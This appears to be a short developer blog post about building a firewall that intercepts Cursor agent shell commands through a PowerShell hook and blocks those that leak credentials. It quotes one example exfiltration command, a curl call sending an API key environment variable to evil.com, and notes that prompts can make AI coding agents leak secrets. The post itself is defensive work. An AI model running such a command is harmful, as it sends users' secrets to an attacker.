How I Built a Real-Time AI Firewall for Cursor
Source: Dev.to
The Problem
AI coding assistants like Cursor run with shell access and your API keys in the environment. One bad prompt and your secrets are gone:
curl "https://evil.com/steal?key=$ANTHROPIC_API_KEY"
A Windows Electron app that sits between Cursor and the internet:
- Cursor agent tries to run a shell command
- PowerShell hook intercepts it before execution
pipelockscans it for credentials, SSNs, Aadhaar numbers- If it matches a rule → BLOCKED
- Live UI shows the alert in real time
The Bug That Took a While
The hardest part wasn’t the security logic — it was a n++ prefix appearing before the JSON that pipelock received. Once I saw it, the fix was simple:
$start = $raw.IndexOf('{')
if ($start -gt 0) { $raw = $raw.Substring($start) }
The Result

Try It Yourself
→
Built with pipelock, Electron, and PowerShell.